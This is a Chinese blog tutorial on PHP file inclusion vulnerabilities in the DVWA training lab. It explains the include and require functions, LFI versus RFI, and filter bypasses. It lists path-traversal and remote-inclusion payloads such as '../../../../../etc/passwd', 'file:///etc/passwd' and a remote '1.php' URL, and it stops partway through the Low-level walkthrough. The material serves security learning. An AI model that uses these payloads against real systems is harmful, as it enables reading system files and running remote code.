DVWA之PHP文件包含漏洞(File Inclusion)

PHP文件包含漏洞,简单地说,就是在通过函数包含文件时,由于没有对包含的文件名进行有效的过滤处理,被攻击者利用从而导致了包含了Web根目录以外的文件进来,就会导致文件信息的泄露甚至注入了恶意代码。更多的介绍这里就不多说了,直接上正题~


PHP文件包含的几个函数:

include():只有代码执行到该函数时才会包含文件进来,发生错误时只给出一个警告并继续向下执行。

include_once():和include()功能相同,区别在于当重复调用同一文件时,程序只调用一次。

require():只要程序执行就包含文件进来,发生错误时会输出错误结果并终止运行。

require_once():和require()功能相同,区别在于当重复调用同一文件时,程序只调用一次。


文件包含漏洞的一般特征如下:

?page=a.php

?home=a.html

?file=content


目录遍历(Directory traversal)和文件包含(File include)的一些区别:

目录遍历是可以读取web根目录以外的其他目录,根源在于web application的路径访问权限设置不严,针对的是本系统。

文件包含是通过include函数将web根目录以外的目录的文件被包含进来,分为LFI本地文件包含和RFI远程文件包含。


几种经典的测试方法:

?file=../../../../../etc/passwdd

?page=file:///etc/passwd

?home=main.cgi

?page=http://www.a.com/1.php

http://1.1.1.1/../../../../dir/file.txt

(通过多个../可以让目录回到根目录中然后再进入目标目录)


编码绕过字符过滤:

可以使用多种编码方式进行绕过

%00嵌入任意位置

.的利用


向量字典:

用于目录爆破猜测,在Kali的/usr/share/wfuzz/wordlist/vulns中保存有,如:

general:目录猜解

Injections:注入

Stress:压力测试

······



Low级:

直接通过将include.php改为../../../../../etc/passwd:


../实现向上一级目录跳转,多个时就会返回到根目录,其数量应多一点。


通过绝对路径也可以直接访问得到:

  • 2
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值